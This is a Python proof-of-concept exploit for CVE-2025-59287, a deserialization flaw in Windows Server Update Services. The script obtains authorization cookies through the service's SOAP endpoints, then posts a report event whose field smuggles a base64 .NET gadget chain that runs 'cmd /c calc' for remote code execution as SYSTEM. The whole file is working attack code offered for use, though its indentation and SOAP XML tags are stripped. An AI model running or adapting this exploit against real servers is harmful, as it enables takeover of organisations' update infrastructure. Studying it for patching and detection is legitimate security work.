#!/usr/bin/env python3
import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import sys
import uuid
from xml.sax.saxutils import escape
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_auth_cookie(target, server_id=None):
url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}
if server_id is None:
server_id = str(uuid.uuid4())
soap_body = f'''
{server_id}
hawktrace.local
'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'CookieData' in elem.tag and elem.text:
print(f"[+] Using ID: {server_id}")
return elem.text
except Exception as e:
print(f"[-] Auth cookie error: {e}")
return None
def get_server_id(target):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
headers = {
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
'Content-Type': 'text/xml'
}
soap_body = '''
'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'ServerId' in elem.tag and elem.text:
print(f"[+] Server ID: {elem.text}")
return elem.text
except Exception as e:
print(f"[-] Server ID error: {e}")
fallback_id = str(uuid.uuid4())
print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id
def get_reporting_cookie(target, auth_cookie):
url = f"{target}/ClientWebService/Client.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
soap_body = f'''
SimpleTargeting
{auth_cookie}
{timenow}
{timenow}
1.20
'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
cookie_data = {}
for elem in root.iter():
if 'Expiration' in elem.tag:
cookie_data['expiration'] = elem.text
elif 'EncryptedData' in elem.tag:
cookie_data['encrypted_data'] = elem.text
if 'encrypted_data' in cookie_data:
return cookie_data
except:
pass
return None
def send_malicious_event(target, cookie):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
popcalc = '''Binaryfalse1033false1AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='''
soap_body = f'''
{cookie['expiration']}
{cookie['encrypted_data']}
{timenow}
{target_sid}
0
{timenow}
{event_instance_id}
2
389
301
00000000-0000-0000-0000-000000000000
0
0
LocalServer
Administrator=SYSTEM
SynchronizationUpdateErrorsKey={escape(popcalc)}
'''
headers = {
'Connection': 'Keep-Alive',
'Content-Type': 'text/xml',
'Accept': 'text/xml',
'User-Agent': 'Windows-Update-Agent',
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
'Host': target.replace('http://', '').replace('https://', '')
}
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200 and 'true' in response.text:
return True, event_instance_id, target_sid
else:
return False, None, None
except Exception as e:
print(f"[DEBUG] Exception: {e}")
return False, None, None
def main():
if len(sys.argv) < 2:
print("Usage: python HawkTrace.py ")
print("Example: python HawkTrace.py http://192.168.1.100:8530")
sys.exit(1)
target = sys.argv[1]
print(r"""
_ _ _
| | | | | |
| |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
Batuhan Er @int20z
CVE-2025-59287
""")
print()
print("[+] Getting Server ID...")
server_id = get_server_id(target)
print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target, server_id)
if not auth_cookie:
print("[-] Failed")
return
cookie = get_reporting_cookie(target, auth_cookie)
if not cookie:
print("[-] Failed")
return
print("[+] Sending event with payload...")
success, event_id, target_sid = send_malicious_event(target, cookie)
if success:
print("[+] SUCCESS!")
print("[!] RCE will trigger!")
else:
print("[-] Failed")
if __name__ == "__main__":
main()